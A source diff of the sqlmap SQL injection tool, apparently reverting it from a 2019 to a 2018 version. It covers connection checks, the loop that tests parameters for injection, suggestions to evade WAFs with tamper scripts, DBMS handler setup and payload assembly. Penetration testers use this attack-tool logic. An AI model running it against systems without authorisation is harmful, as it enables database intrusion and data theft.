||||
if not conf.tamper:
|
||||
warnMsg = "please consider usage of tamper scripts (option '--tamper')"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
else:
|
||||
warnMsg = "WAF/IPS product hasn't been identified"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
kb.testType = None
|
||||
kb.testMode = False
|
||||
|
||||
return retVal
|
||||
|
||||
@@ -1424,59 +1484,46 @@ def checkNullConnection():
|
||||
if conf.data:
|
||||
return False
|
||||
|
||||
_ = hashDBRetrieve(HASHDB_KEYS.CHECK_NULL_CONNECTION_RESULT, True)
|
||||
if _ is not None:
|
||||
kb.nullConnection = _
|
||||
infoMsg = "testing NULL connection to the target URL"
|
||||
logger.info(infoMsg)
|
||||
|
||||
if _:
|
||||
dbgMsg = "resuming NULL connection method '%s'" % _
|
||||
logger.debug(dbgMsg)
|
||||
pushValue(kb.pageCompress)
|
||||
kb.pageCompress = False
|
||||
|
||||
else:
|
||||
infoMsg = "testing NULL connection to the target URL"
|
||||
logger.info(infoMsg)
|
||||
try:
|
||||
page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD, raise404=False)
|
||||
|
||||
pushValue(kb.pageCompress)
|
||||
kb.pageCompress = False
|
||||
if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
|
||||
kb.nullConnection = NULLCONNECTION.HEAD
|
||||
|
||||
try:
|
||||
page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD, raise404=False)
|
||||
infoMsg = "NULL connection is supported with HEAD method ('Content-Length')"
|
||||
logger.info(infoMsg)
|
||||
else:
|
||||
page, headers, _ = Request.getPage(auxHeaders={HTTP_HEADER.RANGE: "bytes=-1"})
|
||||
|
||||
if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
|
||||
kb.nullConnection = NULLCONNECTION.HEAD
|
||||
if page and len(page) == 1 and HTTP_HEADER.CONTENT_RANGE in (headers or {}):
|
||||
kb.nullConnection = NULLCONNECTION.RANGE
|
||||
|
||||
infoMsg = "NULL connection is supported with HEAD method ('Content-Length')"
|
||||
infoMsg = "NULL connection is supported with GET method ('Range')"
|
||||
logger.info(infoMsg)
|
||||
else:
|
||||
page, headers, _ = Request.getPage(auxHeaders={HTTP_HEADER.RANGE: "bytes=-1"})
|
||||
_, headers, _ = Request.getPage(skipRead=True)
|
||||
|
||||
if page and len(page) == 1 and HTTP_HEADER.CONTENT_RANGE in (headers or {}):
|
||||
kb.nullConnection = NULLCONNECTION.RANGE
|
||||
if HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
|
||||
kb.nullConnection = NULLCONNECTION.SKIP_READ
|
||||
|
||||
infoMsg = "NULL connection is supported with GET method ('Range')"
|
||||
infoMsg = "NULL connection is supported with 'skip-read' method"
|
||||
logger.info(infoMsg)
|
||||
else:
|
||||
_, headers, _ = Request.getPage(skipRead=True)
|
||||
|
||||
if HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
|
||||
kb.nullConnection = NULLCONNECTION.SKIP_READ
|
||||
except SqlmapConnectionException:
|
||||
pass
|
||||
|
||||
infoMsg = "NULL connection is supported with 'skip-read' method"
|
||||
logger.info(infoMsg)
|
||||
finally:
|
||||
kb.pageCompress = popValue()
|
||||
|
||||
except SqlmapConnectionException:
|
||||
pass
|
||||
|
||||
finally:
|
||||
kb.pageCompress = popValue()
|
||||
kb.nullConnection = False if kb.nullConnection is None else kb.nullConnection
|
||||
hashDBWrite(HASHDB_KEYS.CHECK_NULL_CONNECTION_RESULT, kb.nullConnection, True)
|
||||
|
||||
return kb.nullConnection in getPublicTypeMembers(NULLCONNECTION, True)
|
||||
return kb.nullConnection is not None
|
||||
|
||||
def checkConnection(suppressOutput=False):
|
||||
threadData = getCurrentThreadData()
|
||||
|
||||
if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", conf.hostname):
|
||||
if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)):
|
||||
try:
|
||||
@@ -1486,14 +1533,10 @@ def checkConnection(suppressOutput=False):
|
||||
except socket.gaierror:
|
||||
errMsg = "host '%s' does not exist" % conf.hostname
|
||||
raise SqlmapConnectionException(errMsg)
|
||||
except socket.error as ex:
|
||||
except socket.error, ex:
|
||||
errMsg = "problem occurred while "
|
||||
errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
|
||||
raise SqlmapConnectionException(errMsg)
|
||||
except UnicodeError as ex:
|
||||
errMsg = "problem occurred while "
|
||||
errMsg += "handling a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
|
||||
raise SqlmapDataException(errMsg)
|
||||
|
||||
if not suppressOutput and not conf.dummy and not conf.offline:
|
||||
infoMsg = "testing connection to the target URL"
|
||||
@@ -1501,7 +1544,8 @@ def checkConnection(suppressOutput=False):
|
||||
|
||||
try:
|
||||
kb.originalPageTime = time.time()
|
||||
Request.queryPage(content=True, noteResponseTime=False)
|
||||
page, headers, _ = Request.queryPage(content=True, noteResponseTime=False)
|
||||
kb.originalPage = kb.pageTemplate = page
|
||||
|
||||
kb.errorIsNone = False
|
||||
|
||||
@@ -1524,14 +1568,16 @@ def checkConnection(suppressOutput=False):
|
||||
else:
|
||||
kb.errorIsNone = True
|
||||
|
||||
threadData = getCurrentThreadData()
|
||||
|
||||
if kb.redirectChoice == REDIRECTION.YES and threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID:
|
||||
if (threadData.lastRedirectURL[1] or "").startswith("https://") and conf.hostname in getUnicode(threadData.lastRedirectURL[1]):
|
||||
if (threadData.lastRedirectURL[1] or "").startswith("https://") and unicodeencode(conf.hostname) in threadData.lastRedirectURL[1]:
|
||||
conf.url = re.sub(r"https?://", "https://", conf.url)
|
||||
match = re.search(r":(\d+)", threadData.lastRedirectURL[1])
|
||||
port = match.group(1) if match else 443
|
||||
conf.url = re.sub(r":\d+(/|\Z)", r":%s\g<1>" % port, conf.url)
|
||||
conf.url = re.sub(r":\d+/", ":%s/" % port, conf.url)
|
||||
|
||||
except SqlmapConnectionException as ex:
|
||||
except SqlmapConnectionException, ex:
|
||||
if conf.ipv6:
|
||||
warnMsg = "check connection to a provided "
|
||||
warnMsg += "IPv6 address with a tool like ping6 "
|
||||
@@ -1540,7 +1586,7 @@ def checkConnection(suppressOutput=False):
|
||||
warnMsg += "any addressing issues"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
if any(code in kb.httpErrorCodes for code in (_http_client.NOT_FOUND, )):
|
||||
if any(code in kb.httpErrorCodes for code in (httplib.NOT_FOUND, )):
|
||||
errMsg = getSafeExString(ex)
|
||||
logger.critical(errMsg)
|
||||
|
||||
@@ -1554,9 +1600,6 @@ def checkConnection(suppressOutput=False):
|
||||
kb.ignoreNotFound = True
|
||||
else:
|
||||
raise
|
||||
finally:
|
||||
kb.originalPage = kb.pageTemplate = threadData.lastPage
|
||||
kb.originalCode = threadData.lastCode
|
||||
|
||||
return True
|
||||
|
||||
@@ -1566,3 +1609,6 @@ def checkInternet():
|
||||
|
||||
def setVerbosity(): # Cross-referenced function
|
||||
raise NotImplementedError
|
||||
|
||||
def setWafFunctions(): # Cross-referenced function
|
||||
raise NotImplementedError
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
@@ -20,6 +20,7 @@ from lib.controller.checks import checkInternet
|
||||
from lib.controller.checks import checkNullConnection
|
||||
from lib.controller.checks import checkWaf
|
||||
from lib.controller.checks import heuristicCheckSqlInjection
|
||||
from lib.controller.checks import identifyWaf
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import extractRegexResult
|
||||
@@ -35,12 +36,10 @@ from lib.core.common import popValue
|
||||
from lib.core.common import pushValue
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.common import removePostHintPrefix
|
||||
from lib.core.common import safeCSValue
|
||||
from lib.core.common import showHttpErrorCodes
|
||||
from lib.core.common import urlencode
|
||||
from lib.core.common import urldecode
|
||||
from lib.core.compat import xrange
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
@@ -48,7 +47,6 @@ from lib.core.decorators import stackedmethod
|
||||
from lib.core.enums import CONTENT_TYPE
|
||||
from lib.core.enums import HASHDB_KEYS
|
||||
from lib.core.enums import HEURISTIC_TEST
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.enums import HTTPMETHOD
|
||||
from lib.core.enums import NOTE
|
||||
from lib.core.enums import PAYLOAD
|
||||
@@ -58,11 +56,9 @@ from lib.core.exception import SqlmapNoneDataException
|
||||
from lib.core.exception import SqlmapNotVulnerableException
|
||||
from lib.core.exception import SqlmapSilentQuitException
|
||||
from lib.core.exception import SqlmapSkipTargetException
|
||||
from lib.core.exception import SqlmapSystemException
|
||||
from lib.core.exception import SqlmapValueException
|
||||
from lib.core.exception import SqlmapUserQuitException
|
||||
from lib.core.settings import ASP_NET_CONTROL_REGEX
|
||||
from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
|
||||
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||
from lib.core.settings import EMPTY_FORM_FIELDS_REGEX
|
||||
from lib.core.settings import IGNORE_PARAMETERS
|
||||
@@ -73,7 +69,6 @@ from lib.core.settings import REFERER_ALIASES
|
||||
from lib.core.settings import USER_AGENT_ALIASES
|
||||
from lib.core.target import initTargetEnv
|
||||
from lib.core.target import setupTargetEnv
|
||||
from lib.utils.hash import crackHashFile
|
||||
|
||||
def _selectInjection():
|
||||
"""
|
||||
@@ -92,7 +87,7 @@ def _selectInjection():
|
||||
if point not in points:
|
||||
points[point] = injection
|
||||
else:
|
||||
for key in points[point]:
|
||||
for key in points[point].keys():
|
||||
if key != 'data':
|
||||
points[point][key] = points[point][key] or injection[key]
|
||||
points[point]['data'].update(injection['data'])
|
||||
@@ -220,7 +215,7 @@ def _saveToHashDB():
|
||||
_[key] = injection
|
||||
else:
|
||||
_[key].data.update(injection.data)
|
||||
hashDBWrite(HASHDB_KEYS.KB_INJECTIONS, list(_.values()), True)
|
||||
hashDBWrite(HASHDB_KEYS.KB_INJECTIONS, _.values(), True)
|
||||
|
||||
_ = hashDBRetrieve(HASHDB_KEYS.KB_ABS_FILE_PATHS, True)
|
||||
hashDBWrite(HASHDB_KEYS.KB_ABS_FILE_PATHS, kb.absFilePaths | (_ if isinstance(_, set) else set()), True)
|
||||
@@ -246,22 +241,18 @@ def _saveToResultsFile():
|
||||
if key not in results:
|
||||
results[key] = []
|
||||
|
||||
results[key].extend(list(injection.data.keys()))
|
||||
results[key].extend(injection.data.keys())
|
||||
|
||||
try:
|
||||
for key, value in results.items():
|
||||
place, parameter, notes = key
|
||||
line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
|
||||
conf.resultsFP.write(line)
|
||||
for key, value in results.items():
|
||||
place, parameter, notes = key
|
||||
line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
|
||||
conf.resultsFP.write(line)
|
||||
|
||||
if not results:
|
||||
line = "%s,,,,%s" % (conf.url, os.linesep)
|
||||
conf.resultsFP.write(line)
|
||||
if not results:
|
||||
line = "%s,,,,%s" % (conf.url, os.linesep)
|
||||
conf.resultsFP.write(line)
|
||||
|
||||
conf.resultsFP.flush()
|
||||
except IOError as ex:
|
||||
errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFilename, getSafeExString(ex))
|
||||
raise SqlmapSystemException(errMsg)
|
||||
conf.resultsFP.flush()
|
||||
|
||||
@stackedmethod
|
||||
def start():
|
||||
@@ -271,9 +262,6 @@ def start():
|
||||
check if they are dynamic and SQL injection affected
|
||||
"""
|
||||
|
||||
if conf.hashFile:
|
||||
crackHashFile(conf.hashFile)
|
||||
|
||||
if conf.direct:
|
||||
initTargetEnv()
|
||||
setupTargetEnv()
|
||||
@@ -320,20 +308,12 @@ def start():
|
||||
conf.httpHeaders = list(initialHeaders)
|
||||
conf.httpHeaders.extend(targetHeaders or [])
|
||||
|
||||
if conf.randomAgent or conf.mobile:
|
||||
for header, value in initialHeaders:
|
||||
if header.upper() == HTTP_HEADER.USER_AGENT.upper():
|
||||
conf.httpHeaders.append((header, value))
|
||||
break
|
||||
|
||||
conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])]
|
||||
|
||||
initTargetEnv()
|
||||
parseTargetUrl()
|
||||
|
||||
testSqlInj = False
|
||||
|
||||
if PLACE.GET in conf.parameters and not any((conf.data, conf.testParameter)):
|
||||
if PLACE.GET in conf.parameters and not any([conf.data, conf.testParameter]):
|
||||
for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]):
|
||||
paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0])
|
||||
|
||||
@@ -422,6 +402,9 @@ def start():
|
||||
|
||||
checkWaf()
|
||||
|
||||
if conf.identifyWaf:
|
||||
identifyWaf()
|
||||
|
||||
if conf.nullConnection:
|
||||
checkNullConnection()
|
||||
|
||||
@@ -433,7 +416,7 @@ def start():
|
||||
checkStability()
|
||||
|
||||
# Do a little prioritization reorder of a testable parameter list
|
||||
parameters = list(conf.parameters.keys())
|
||||
parameters = conf.parameters.keys()
|
||||
|
||||
# Order of testing list (first to last)
|
||||
orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET)
|
||||
@@ -450,9 +433,6 @@ def start():
|
||||
skip = (place == PLACE.USER_AGENT and conf.level < 3)
|
||||
skip |= (place == PLACE.REFERER and conf.level < 3)
|
||||
|
||||
# --param-filter
|
||||
skip |= (len(conf.paramFilter) > 0 and place.upper() not in conf.paramFilter)
|
||||
|
||||
# Test Host header only if
|
||||
# --level >= 5
|
||||
skip |= (place == PLACE.HOST and conf.level < 5)
|
||||
@@ -494,57 +474,57 @@ def start():
|
||||
if paramKey in kb.testedParams:
|
||||
testSqlInj = False
|
||||
|
||||
infoMsg = "skipping previously processed %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
infoMsg = "skipping previously processed %s parameter '%s'" % (paramType, parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
elif any(_ in conf.testParameter for _ in (parameter, removePostHintPrefix(parameter))):
|
||||
elif parameter in conf.testParameter:
|
||||
pass
|
||||
|
||||
elif parameter in conf.rParam:
|
||||
elif parameter == conf.rParam:
|
||||
testSqlInj = False
|
||||
|
||||
infoMsg = "skipping randomizing %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
infoMsg = "skipping randomizing %s parameter '%s'" % (paramType, parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
elif parameter in conf.skip or kb.postHint and parameter.split(' ')[-1] in conf.skip:
|
||||
testSqlInj = False
|
||||
|
||||
infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
infoMsg = "skipping %s parameter '%s'" % (paramType, parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I)):
|
||||
testSqlInj = False
|
||||
|
||||
infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
infoMsg = "skipping %s parameter '%s'" % (paramType, parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
elif conf.csrfToken and re.search(conf.csrfToken, parameter, re.I):
|
||||
elif parameter == conf.csrfToken:
|
||||
testSqlInj = False
|
||||
|
||||
infoMsg = "skipping anti-CSRF token parameter '%s'" % parameter
|
||||
logger.info(infoMsg)
|
||||
|
||||
# Ignore session-like parameters for --level < 4
|
||||
elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)):
|
||||
elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)):
|
||||
testSqlInj = False
|
||||
|
||||
infoMsg = "ignoring %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
infoMsg = "ignoring %s parameter '%s'" % (paramType, parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech or conf.skipStatic:
|
||||
check = checkDynParam(place, parameter, value)
|
||||
|
||||
if not check:
|
||||
warnMsg = "%sparameter '%s' does not appear to be dynamic" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
warnMsg = "%s parameter '%s' does not appear to be dynamic" % (paramType, parameter)
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if conf.skipStatic:
|
||||
infoMsg = "skipping static %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
infoMsg = "skipping static %s parameter '%s'" % (paramType, parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
testSqlInj = False
|
||||
else:
|
||||
infoMsg = "%sparameter '%s' appears to be dynamic" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
infoMsg = "%s parameter '%s' is dynamic" % (paramType, parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
kb.testedParams.add(paramKey)
|
||||
@@ -559,11 +539,12 @@ def start():
|
||||
|
||||
if check != HEURISTIC_TEST.POSITIVE:
|
||||
if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED):
|
||||
infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
infoMsg = "skipping %s parameter '%s'" % (paramType, parameter)
|
||||
logger.info(infoMsg)
|
||||
continue
|
||||
|
||||
infoMsg = "testing for SQL injection on %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
infoMsg = "testing for SQL injection on %s " % paramType
|
||||
infoMsg += "parameter '%s'" % parameter
|
||||
logger.info(infoMsg)
|
||||
|
||||
injection = checkSqlInjection(place, parameter, value)
|
||||
@@ -582,7 +563,7 @@ def start():
|
||||
if not proceed:
|
||||
break
|
||||
|
||||
msg = "%sparameter '%s' " % ("%s " % injection.place if injection.place != injection.parameter else "", injection.parameter)
|
||||
msg = "%s parameter '%s' " % (injection.place, injection.parameter)
|
||||
msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "
|
||||
|
||||
if not readInput(msg, default='N', boolean=True):
|
||||
@@ -591,7 +572,8 @@ def start():
|
||||
kb.testedParams.add(paramKey)
|
||||
|
||||
if not injectable:
|
||||
warnMsg = "%sparameter '%s' does not seem to be injectable" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
warnMsg = "%s parameter '%s' does not seem to be " % (paramType, parameter)
|
||||
warnMsg += "injectable"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
finally:
|
||||
@@ -649,9 +631,6 @@ def start():
|
||||
errMsg += "involved (e.g. WAF) maybe you could try to use "
|
||||
errMsg += "option '--tamper' (e.g. '--tamper=space2comment')"
|
||||
|
||||
if not conf.randomAgent:
|
||||
errMsg += " and/or switch '--random-agent'"
|
||||
|
||||
raise SqlmapNotVulnerableException(errMsg.rstrip('.'))
|
||||
else:
|
||||
# Flush the flag
|
||||
@@ -696,7 +675,7 @@ def start():
|
||||
except SqlmapSilentQuitException:
|
||||
raise
|
||||
|
||||
except SqlmapBaseException as ex:
|
||||
except SqlmapBaseException, ex:
|
||||
errMsg = getSafeExString(ex)
|
||||
|
||||
if conf.multipleTargets:
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
@@ -10,7 +10,6 @@ from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.dicts import DBMS_DICT
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from lib.core.settings import MSSQL_ALIASES
|
||||
from lib.core.settings import MYSQL_ALIASES
|
||||
from lib.core.settings import ORACLE_ALIASES
|
||||
@@ -22,7 +21,6 @@ from lib.core.settings import MAXDB_ALIASES
|
||||
from lib.core.settings import SYBASE_ALIASES
|
||||
from lib.core.settings import DB2_ALIASES
|
||||
from lib.core.settings import HSQLDB_ALIASES
|
||||
from lib.core.settings import H2_ALIASES
|
||||
from lib.core.settings import INFORMIX_ALIASES
|
||||
from lib.utils.sqlalchemy import SQLAlchemy
|
||||
|
||||
@@ -48,8 +46,6 @@ from plugins.dbms.db2 import DB2Map
|
||||
from plugins.dbms.db2.connector import Connector as DB2Conn
|
||||
from plugins.dbms.hsqldb import HSQLDBMap
|
||||
from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
|
||||
from plugins.dbms.h2 import H2Map
|
||||
from plugins.dbms.h2.connector import Connector as H2Conn
|
||||
from plugins.dbms.informix import InformixMap
|
||||
from plugins.dbms.informix.connector import Connector as InformixConn
|
||||
|
||||
@@ -71,11 +67,10 @@ def setHandler():
|
||||
(DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
|
||||
(DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
|
||||
(DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
|
||||
(DBMS.H2, H2_ALIASES, H2Map, H2Conn),
|
||||
(DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
|
||||
]
|
||||
|
||||
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)
|
||||
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else None for _ in items)
|
||||
if _:
|
||||
items.remove(_)
|
||||
items.insert(0, _)
|
||||
@@ -95,41 +90,29 @@ def setHandler():
|
||||
conf.dbmsConnector = Connector()
|
||||
|
||||
if conf.direct:
|
||||
exception = None
|
||||
dialect = DBMS_DICT[dbms][3]
|
||||
|
||||
if dialect:
|
||||
try:
|
||||
sqlalchemy = SQLAlchemy(dialect=dialect)
|
||||
sqlalchemy.connect()
|
||||
sqlalchemy = SQLAlchemy(dialect=dialect)
|
||||
sqlalchemy.connect()
|
||||
|
||||
if sqlalchemy.connector:
|
||||
conf.dbmsConnector = sqlalchemy
|
||||
except Exception as ex:
|
||||
exception = ex
|
||||
|
||||
if not dialect or exception:
|
||||
try:
|
||||
conf.dbmsConnector.connect()
|
||||
except Exception as ex:
|
||||
if exception:
|
||||
raise exception
|
||||
else:
|
||||
if not isinstance(ex, NameError):
|
||||
raise
|
||||
else:
|
||||
msg = "support for direct connection to '%s' is not available. " % dbms
|
||||
msg += "Please rerun with '--dependencies'"
|
||||
raise SqlmapConnectionException(msg)
|
||||
if sqlalchemy.connector:
|
||||
conf.dbmsConnector = sqlalchemy
|
||||
else:
|
||||
try:
|
||||
conf.dbmsConnector.connect()
|
||||
except NameError:
|
||||
pass
|
||||
else:
|
||||
conf.dbmsConnector.connect()
|
||||
|
||||
if conf.forceDbms == dbms or handler.checkDbms():
|
||||
if kb.resolutionDbms:
|
||||
conf.dbmsHandler = max(_ for _ in items if _[0] == kb.resolutionDbms)[2]()
|
||||
conf.dbmsHandler._dbms = kb.resolutionDbms
|
||||
else:
|
||||
conf.dbmsHandler = handler
|
||||
conf.dbmsHandler._dbms = dbms
|
||||
|
||||
conf.dbmsHandler._dbms = dbms
|
||||
break
|
||||
else:
|
||||
conf.dbmsConnector = None
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,17 +1,16 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import base64
|
||||
import re
|
||||
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import extractRegexResult
|
||||
from lib.core.common import filterNone
|
||||
from lib.core.common import getSQLSnippet
|
||||
from lib.core.common import getUnicode
|
||||
from lib.core.common import isDBMSVersionAtLeast
|
||||
from lib.core.common import isNumber
|
||||
from lib.core.common import isTechniqueAvailable
|
||||
@@ -24,8 +23,6 @@ from lib.core.common import splitFields
|
||||
from lib.core.common import unArrayizeValue
|
||||
from lib.core.common import urlencode
|
||||
from lib.core.common import zeroDepthSearch
|
||||
from lib.core.compat import xrange
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import queries
|
||||
@@ -46,7 +43,6 @@ from lib.core.settings import INFERENCE_MARKER
|
||||
from lib.core.settings import NULL
|
||||
from lib.core.settings import PAYLOAD_DELIMITER
|
||||
from lib.core.settings import REPLACEMENT_MARKER
|
||||
from lib.core.settings import SINGLE_QUOTE_MARKER
|
||||
from lib.core.settings import SLEEP_TIME_MARKER
|
||||
from lib.core.unescaper import unescaper
|
||||
|
||||
@@ -108,9 +104,9 @@ class Agent(object):
|
||||
if place == PLACE.URI:
|
||||
origValue = origValue.split(kb.customInjectionMark)[0]
|
||||
else:
|
||||
origValue = filterNone(re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z"))[0].group(0)
|
||||
origValue = filter(None, (re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z")))[0].group(0)
|
||||
origValue = origValue[origValue.rfind('/') + 1:]
|
||||
for char in ('?', '=', ':', ',', '&'):
|
||||
for char in ('?', '=', ':', ','):
|
||||
if char in origValue:
|
||||
origValue = origValue[origValue.rfind(char) + 1:]
|
||||
elif place == PLACE.CUSTOM_POST:
|
||||
@@ -165,16 +161,11 @@ class Agent(object):
|
||||
|
||||
newValue = self.cleanupPayload(newValue, origValue)
|
||||
|
||||
if re.sub(r" \(.+", "", parameter) in conf.base64Parameter:
|
||||
# TODO: support for POST_HINT
|
||||
newValue = base64.b64encode(newValue)
|
||||
origValue = base64.b64encode(origValue)
|
||||
|
||||
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
|
||||
_ = "%s%s" % (origValue, kb.customInjectionMark)
|
||||
if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
|
||||
if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and not '"%s"' % _ in paramString:
|
||||
newValue = '"%s"' % newValue
|
||||
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and "'%s'" % _ not in paramString:
|
||||
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and not "'%s'" % _ in paramString:
|
||||
newValue = "'%s'" % newValue
|
||||
newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
|
||||
retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
|
||||
@@ -255,9 +246,6 @@ class Agent(object):
|
||||
else:
|
||||
query = kb.injection.prefix or prefix or ""
|
||||
|
||||
if "SELECT '[RANDSTR]'" in query: # escaping of pre-WHERE prefixes
|
||||
query = query.replace("'[RANDSTR]'", unescaper.escape(randomStr(), quote=False))
|
||||
|
||||
if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('):
|
||||
query += " "
|
||||
|
||||
@@ -298,9 +286,6 @@ class Agent(object):
|
||||
pass
|
||||
|
||||
elif suffix and not comment:
|
||||
if re.search(r"\w\Z", expression) and re.search(r"\A\w", suffix):
|
||||
expression += " "
|
||||
|
||||
expression += suffix.replace('\\', BOUNDARY_BACKSLASH_MARKER)
|
||||
|
||||
return re.sub(r";\W*;", ";", expression)
|
||||
@@ -309,19 +294,16 @@ class Agent(object):
|
||||
if payload is None:
|
||||
return
|
||||
|
||||
replacements = {
|
||||
"[DELIMITER_START]": kb.chars.start,
|
||||
"[DELIMITER_STOP]": kb.chars.stop,
|
||||
"[AT_REPLACE]": kb.chars.at,
|
||||
"[SPACE_REPLACE]": kb.chars.space,
|
||||
"[DOLLAR_REPLACE]": kb.chars.dollar,
|
||||
